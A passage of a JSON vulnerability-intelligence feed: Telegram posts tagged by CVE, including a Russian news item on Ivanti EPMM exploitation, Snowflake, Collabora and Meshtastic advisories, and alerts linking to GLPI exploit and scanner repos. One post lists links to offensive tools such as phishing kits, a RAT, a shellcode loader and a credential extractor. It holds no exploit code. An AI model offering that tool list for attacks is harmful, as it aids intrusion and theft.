\u0437\u0430\u0449\u0438\u0442\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u041d\u0438\u0434\u0435\u0440\u043b\u0430\u043d\u0434\u043e\u0432 (AP), \u0421\u0443\u0434\u0435\u0431\u043d\u044b\u0439 \u0441\u043e\u0432\u0435\u0442, \u0415\u0432\u0440\u043e\u043f\u0435\u0439\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u0438\u0441\u0441\u0438\u044e \u0438 \u0444\u0438\u043d\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e Valtori, \u0441\u0442\u0430\u043b\u0438 \u0436\u0435\u0440\u0442\u0432\u0430\u043c\u0438 \u0430\u0442\u0430\u043a \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0445 \u044d\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0414\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043d\u0430 \u0442\u043e\u0442 \u0436\u0435 \u0445\u043e\u0441\u0442 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b \u0442\u0440\u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432: CVE-2026-21962\u00a0(Oracle WebLogic) - 2902 \u0441\u0435\u0441\u0441\u0438\u0438; CVE-2026-24061\u00a0(GNU InetUtils telnetd) - 497 \u0441\u0435\u0430\u043d\u0441\u043e\u0432 \u0438 CVE-2025-24799\u00a0(GLPI) - 200 \u0441\u0435\u0430\u043d\u0441\u043e\u0432.\n\nIP \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 300 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u043e\u043a\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0430\u0433\u0435\u043d\u0442\u043e\u0432, \u043e\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0438\u043c\u0438 Chrome, Firefox, Safari \u0438 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u041e\u0421. \n\n\u041a\u0430\u043a \u043f\u043e\u043b\u0430\u0433\u0430\u044e\u0442 \u0432 GreyNoise, \u0442\u0430\u043a\u043e\u0435 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u0438\u0435 \u0444\u0438\u043d\u0433\u0435\u0440\u043f\u0440\u0438\u043d\u0442\u043e\u0432 \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u043d\u0435\u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u041f\u041e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\u041f\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c, PROSPERO \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u0434\u0440\u0443\u0433\u043e\u0439 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Proton66, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435\u043c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u041f\u041e \u0434\u043b\u044f \u041f\u041a \u0438 Android, \u0432\u043a\u043b\u044e\u0447\u0430\u044f GootLoader, Matanbuchus, SpyNote, Coper (Octo) \u0438 SocGholish.\n\nGreyNoise \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u0432 85% \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0430\u0442\u0430\u043a\u0438 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u043b\u0430\u0441\u044c \u0447\u0435\u0440\u0435\u0437 DNS \u0434\u043b\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \"\u0446\u0435\u043b\u044c \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u0430 \u0434\u043b\u044f \u0430\u0442\u0430\u043a\u0438\", \u0431\u0435\u0437 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0438\u043b\u0438 \u043a\u0440\u0430\u0436\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043d\u0435\u0439 \u0440\u0430\u043d\u0435\u0435 Defused Cyber \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u00ab\u0441\u043f\u044f\u0449\u0435\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438\u00bb, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u044b EPMM \u043f\u043e \u043f\u0443\u0442\u0438 /mifs/403.jsp \u0431\u044b\u043b \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442 \u043d\u0435\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043a\u043b\u0430\u0441\u0441\u043e\u0432 Java \u0432 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438. \n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b OAST \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438\u0437\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0446\u0435\u043b\u0435\u0439, \u0431\u0435\u0437 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0445 \u043d\u0430\u0433\u0440\u0443\u0437\u043e\u043a, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Ivanti EPMM \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0430\u0442\u0447\u0438, \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u0430\u0443\u0434\u0438\u0442 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b MDM, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0438\u0437 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430, \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0436\u0443\u0440\u043d\u0430\u043b\u044b DNS \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u043f\u043e \u0448\u0430\u0431\u043b\u043e\u043d\u0443 OAST, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043f\u0443\u0442\u044c /mifs/403.jsp \u043d\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u0445 EPMM \u0438 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 PROSPERO (AS200593) \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0430 \u0441\u0435\u0442\u0438.\n\n\u0412 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, Ivanti \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u00ab\u0432\u044b\u0441\u043e\u043a\u043e\u0442\u043e\u0447\u043d\u044b\u0435\u00bb IOCs, \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0443\u0433\u0440\u043e\u0437, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u043b\u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d \u0441\u043e\u0432\u043c\u0435\u0441\u0442\u043d\u043e \u0441 NCSC-NL \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0438 \u044d\u0442\u043e\u0439 \u0443\u0433\u0440\u043e\u0437\u0435. \u0418, \u0435\u0449\u0435 \u043d\u043e\u0432\u044b\u0439 \u043c\u0435\u0440\u0447 \u0441 \u043a\u043e\u0440\u0438\u0447\u043d\u0435\u0432\u044b\u043c \u043e\u0442\u0442\u0435\u043d\u043a\u043e\u043c.", "creation_timestamp": "2026-02-13T12:00:09.000000Z"}, {"uuid": "15691ce2-9474-4fc5-944b-469505450cc4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24796", "type": "seen", "source": "Telegram/qjFeT16plrrbOZ9Xd7Mp93IR58vuP2pihJERS77vJEVOuT6n", "content": "", "creation_timestamp": "2025-03-08T04:34:11.000000Z"}, {"uuid": "9542ed88-c293-4db3-b5bb-604d916fcbb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24791", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3379", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-24791\n\ud83d\udd25 CVSS Score: 4.3 (CVSS_V3)\n\ud83d\udd39 Description: ### Issue\nSnowflake discovered and remediated a vulnerability in the Snowflake NodeJS Driver. File permissions checks of the temporary credential cache could be bypassed by an attacker with write access to the local cache directory.\n\nThis vulnerability affects versions 1.12.0 through 2.0.1 on Linux. Snowflake fixed the issue in version 2.0.2.\n\n### Vulnerability Details\nOn Linux, when either EXTERNALBROWSER or USERNAME_PASSWORD_MFA authentication methods are used with temporary credential caching enabled, the Snowflake NodeJS Driver will cache temporary credentials in a local file. Due to a bug, the check verifying that the cache file can be accessed only by the user running the Driver always succeeded, but didn\u2019t verify the permissions or the ownership correctly. An attacker with write access to the local cache folder could plant an empty file there and the Driver would use it to store temporary credentials instead of rejecting it due to overly broad permissions.\n\n### Solution\nSnowflake released version 2.0.2 of the Snowflake NodeJS Driver, which fixes this issue. We recommend users upgrade to version 2.0.2.\n\n### Additional Information\nIf you discover a security vulnerability in one of our products or websites, please report the issue to HackerOne. For more information, please see our [Vulnerability Disclosure Policy](https://hackerone.com/snowflake?type=team).\n\ud83d\udccf Published: 2025-01-29T18:42:26Z\n\ud83d\udccf Modified: 2025-01-29T18:42:26Z\n\ud83d\udd17 References:\n1. https://github.com/snowflakedb/snowflake-connector-nodejs/security/advisories/GHSA-xfhv-wqj6-rx99\n2. https://nvd.nist.gov/vuln/detail/CVE-2025-24791\n3. https://github.com/snowflakedb/snowflake-connector-nodejs/commit/89731b3a4d61a75b721d13d4e47a7a3712ffa45f\n4. https://github.com/snowflakedb/snowflake-connector-nodejs", "creation_timestamp": "2025-01-29T19:11:15.000000Z"}, {"uuid": "6baaf354-0483-4fea-b5a8-9eb11532b3b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24790", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3380", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-24790\n\ud83d\udd25 CVSS Score: 4.3 (CVSS_V3)\n\ud83d\udd39 Description: ### Issue\nSnowflake discovered and remediated a vulnerability in the Snowflake JDBC Driver. On Linux systems, when temporary credential caching is enabled, the Snowflake JDBC Driver will cache temporary credentials locally in a world-readable file.\n\nThis vulnerability affects versions 3.6.8 through 3.21.0. Snowflake fixed the issue in version 3.22.0.\n\n### Vulnerability Details\nOn Linux, when either EXTERNALBROWSER or USERNAME_PASSWORD_MFA authentication methods are used with temporary credential caching enabled, the Snowflake JDBC Driver will cache temporary credentials in a local file. In the vulnerable versions of the Driver, this file is created with world-readable permissions.\n\n### Solution\nSnowflake released version 3.22.0 of the Snowflake JDBC Driver, which fixes this issue. We recommend users upgrade to version 3.22.0.\n\n### Additional Information\nIf you discover a security vulnerability in one of our products or websites, please report the issue to HackerOne. For more information, please see our [Vulnerability Disclosure Policy](https://hackerone.com/snowflake?type=team).\n\ud83d\udccf Published: 2025-01-29T18:42:07Z\n\ud83d\udccf Modified: 2025-01-29T18:42:07Z\n\ud83d\udd17 References:\n1. https://github.com/snowflakedb/snowflake-jdbc/security/advisories/GHSA-33g6-495w-v8j2\n2. https://nvd.nist.gov/vuln/detail/CVE-2025-24790\n3. https://github.com/snowflakedb/snowflake-jdbc/commit/9e1a5acf12406b16c4780ca013f4c4db48b74b59\n4. https://github.com/snowflakedb/snowflake-jdbc", "creation_timestamp": "2025-01-29T19:11:16.000000Z"}, {"uuid": "efc232a0-eca5-45cc-83da-e92762b0da04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24796", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/6763", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-24796\n\ud83d\udd25 CVSS Score: 6.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: Collabora Online is a collaborative online office suite based on LibreOffice. Macro support is disabled by default in Collabora Online, but can be enabled by an administrator. Collabora Online typically hosts each document instance within a jail and is allowed to download content from locations controlled by the net.lok_allow configuration option, which by default include the private IP ranges to enable access to the local network. If enabled, macros were allowed run executable binaries. By combining an ability to host executables, typically in the local network, in an allowed accessible location, with a macro enabled Collabora Online, it was then possible to install arbitrary binaries within the jail and execute them. These executables are restricted to the same jail file system and user as the document instance but can be used to bypass the additional limits on what network hosts are accessible and provide more flexibility as a platform for further attempts. This is issue is fixed in 24.04.12.4, 23.05.19, 22.05.25 and later macros.\n\ud83d\udccf Published: 2025-03-06T18:37:32.268Z\n\ud83d\udccf Modified: 2025-03-06T20:37:41.914Z\n\ud83d\udd17 References:\n1. https://github.com/CollaboraOnline/online/security/advisories/GHSA-4jjq-vgqp-qw45", "creation_timestamp": "2025-03-06T21:34:34.000000Z"}, {"uuid": "430dcf72-fdc0-48d8-b86a-f20a310020c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24797", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/11732", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-24797\n\ud83d\udd25 CVSS Score: 9.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H)\n\ud83d\udd39 Description: Meshtastic is an open source mesh networking solution. A fault in the handling of mesh packets containing invalid protobuf data can result in an attacker-controlled buffer overflow, allowing an attacker to hijack execution flow, potentially resulting in remote code execution. This attack does not require authentication or user interaction, as long as the target device rebroadcasts packets on the default channel. This vulnerability fixed in 2.6.2.\n\ud83d\udccf Published: 2025-04-14T23:25:19.152Z\n\ud83d\udccf Modified: 2025-04-14T23:25:19.152Z\n\ud83d\udd17 References:\n1. https://github.com/meshtastic/firmware/security/advisories/GHSA-33hw-xhfh-944r", "creation_timestamp": "2025-04-14T23:53:47.000000Z"}, {"uuid": "ea4ee24c-eda9-42ab-86b7-59a596a1a2c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/31993", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aCVE-2025-24799 Exploit: GLPI - Unauthenticated SQL Injection\nURL\uff1ahttps://github.com/MatheuZSecurity/Exploit-CVE-2025-24799\n\n\u6807\u7b7e\uff1a#CVE-2025", "creation_timestamp": "2025-04-15T11:32:36.000000Z"}, {"uuid": "ae884cef-9ba9-4e61-ad92-9d196a21cd1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24797", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/32302", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aMeshtastic buffer overflow vulnerability - CVE-2025-24797\nURL\uff1ahttps://github.com/Alainx277/CVE-2025-24797\n\n\u6807\u7b7e\uff1a#CVE-2025", "creation_timestamp": "2025-04-16T19:32:30.000000Z"}, {"uuid": "51ac14cc-75d1-4e17-bb1b-8be6a0754a26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/51849", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aScanner for GLPI CVE-2025-24799 vulnerability\nURL\uff1ahttps://github.com/airbus-cert/CVE-2025-24799-scanner\n\n\u6807\u7b7e\uff1a#CVE-2025", "creation_timestamp": "2025-09-16T12:56:34.000000Z"}, {"uuid": "de4aaf62-4416-449e-9de5-469b14de2e1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/51851", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aScanner for GLPI CVE-2025-24799 vulnerability\nURL\uff1ahttps://github.com/airbus-cert/CVE-2025-24799-scanner\n\n\u6807\u7b7e\uff1a#CVE-2025", "creation_timestamp": "2025-09-16T13:10:06.000000Z"}, {"uuid": "aaafd6be-dcec-4fc2-8cf5-dc6c8e921422", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/NinjaSec/218", "content": "1. 4w4k3 tools\nhttps://github.com/4w4k3\n\n\n2. Wifiphisher\nhttps://github.com/wifiphisher/wifiphisher.git\n\n\n3. EasY_HaCk\nhttps://github.com/sabri-zaki/EasY_HaCk\n\n\n4. WishFish\nhttps://github.com/kinghacker0/WishFish\n\n\n5. BlackPhish\nhttps://github.com/iinc0gnit0/BlackPhish\n\n\n6. XLR8_BOMBER\nhttps://github.com/khansaad1275/XLR8_BOMBER\n\n\n7. BossAdv\nhttps://github.com/The-Boss-Hacker/BossAdv.git\n\n\n8. Lazymux\nhttps://github.com/Gameye98/Lazymux\n\n\n9. Infect\nhttps://github.com/noob-hackers/infect\n\n\n10. m-bomber2.O\nhttps://github.com/jatinkalwar/m-bomber2.O\n\n\n11. Phishing by lovehacker404\nhttps://github.com/lovehacker404/Phishing\n\n\n12. AsyncRAT Dark Mode\nhttps://github.com/MonsterCadd/AsyncRAT-Dark-Mode\n\n\n13. KitHack\nhttps://github.com/AdrMXR/KitHack\n\n\n14. ElfDoor (GCC)\nhttps://github.com/MatheuZSecurity/ElfDoor-gcc\n\n\n15. Dh-All\nhttps://github.com/DH-AL/Dh-All\n\n\n16. RedTiger Tools\nhttps://github.com/loxy0dev/RedTiger-Tools\n\n\n17. LazyXSS\nhttps://github.com/iamunixtz/LazyXss\n\n\n18. FinalRecon\nhttps://github.com/thewhiteh4t/finalrecon\n\n\n19. UFONet\nhttps://github.com/epsylon/ufonet.git\n\n\n20. Brutegram\nhttps://github.com/Err0r-ICA/Brutegram\n\n\n21. Commix (Command Injection)\nhttps://github.com/commixproject/commix.git\n\n\n22. Bbot (Recon tool)\nhttps://github.com/blacklanternsecurity/bbot\n\n\n23. Exploit CVE-2025-24799\nhttps://github.com/MatheuZSecurity/Exploit-CVE-2025-24799\n\n\n24. LFI_Racer\nhttps://github.com/OssamaN7/LFI_Racer\n\n\n25. Counter OSINT Guide (RU)\nhttps://github.com/soxoj/counter-osint-guide-ru\n\n\n26. YouTube OSINT\nhttps://github.com/cqcore/YouTube-Video-OSINT\n\n\n27. Web Check\nhttps://github.com/Lissy93/web-check\n\n\n28. Sherlock OSINT VM\nhttps://github.com/4m3rr0r/Sherlock\n\n\n29. DFW1N-OSINT Tools\nhttps://github.com/DFW1N/DFW1N-OSINT\n\n\n30. Netlas Cookbook\nhttps://github.com/netlas-io/netlas-cookbook\n\n\n31. OSINT Stuff Tool Collection\nhttps://github.com/cipher387/osint_stuff_tool_collection\n\n\n32. Nuclei SQLi/XSS Templates\nhttps://github.com/HackingTeamOficial/Nucleisqlixss\n\n\n33. urx (OSINT URL Extractor)\nhttps://github.com/hahwul/urx\n\n\n34. Koneko Shellcode Loader\nhttps://github.com/Meowmycks/koneko\n\n\n35. PANO (OSINT Platform)\nhttps://github.com/ALW1EZ/PANO.git\n\n\n36. SMWYG - Show Me What You Got\nhttps://github.com/Viralmaniar/SMWYG-Show-Me-What-You-Got.git\n\n\n37. SocialFish\nhttps://github.com/UndeadSec/SocialFish\n\n\n38. SnipRecover-CL (CVE-2023-28303)\nhttps://github.com/m31r0n/SnipRecover-CL\n\n\n39. Go Secdump (Windows SAM/LSA Extractor)\nhttps://github.com/jfjallid/go-secdump\n\n\n40. BlueSpy (Bluetooth Audio Recording)\nhttps://github.com/TarlogicSecurity/BlueSpy\n\n\n41. T-Remix\nhttps://github.com/Bhaviktutorials/T-Remix\n\n\n42. Ubuntu Tools\nhttps://github.com/tahmidrayat/ubuntu\n\n\n43. bash2mp4\nhttps://github.com/htr-tech/bash2mp4\n\n\n44. Insta_report_eyes\nhttps://github.com/z6il/Insta_report_eyes\n\n\n45. OSEP (Pentesting)\nhttps://github.com/In3x0rabl3/OSEP\n\n\n46. Snoop\nhttps://github.com/AnkhCorp/Snoop\n\n\n47. Radar (Recon)\nhttps://github.com/Elite-Security-Systems/radar\n\n\n48. cheat.sh (Command line cheats)\nhttps://github.com/chubin/cheat.sh?tab=readme-ov-file\n\n\n49. Cybersecurity AI (CAI)\nhttps://github.com/aliasrobotics/cai\n\n#GrayHats", "creation_timestamp": "2025-04-19T16:26:39.000000Z"}, {"uuid": "6baea7aa-5240-42a1-bcab-1a83f9c68633", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "Telegram/PyX2CQyw-n1m51Sr7KabJBRaKU-GcuQSz1wD8c6QM9N2FFM", "content": "", "creation_timestamp": "2025-09-16T21:00:04.000000Z"}, {"uuid": "6f3ffff6-5cc0-4959-bd35-20e5495b8f39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/realcodeb0ss/15", "content": "", "creation_timestamp": "2025-03-31T15:46:31.000000Z"}, {"uuid": "ee5b0477-b063-4e44-abdb-938f390924c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "Telegram/oDgC7SboV_stqJmy_TZpePOrg5cgzErAhZJaKGoE5sYOBA4", "content": "", "creation_timestamp": "2025-09-08T21:00:05.000000Z"}, {"uuid": "5e72d0f4-67f2-4c4f-ad0f-8fef55b9f499", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/TopCyberTechNews/432", "content": "Top Security News for Today\n\nImpossible XXE in PHP  \nhttps://www.reddit.com/r/netsec/comments/1j9f0i7/impossible_xxe_in_php/\n\nAnalysis of CVE-2025-24813 Apache Tomcat Path Equivalence RCE  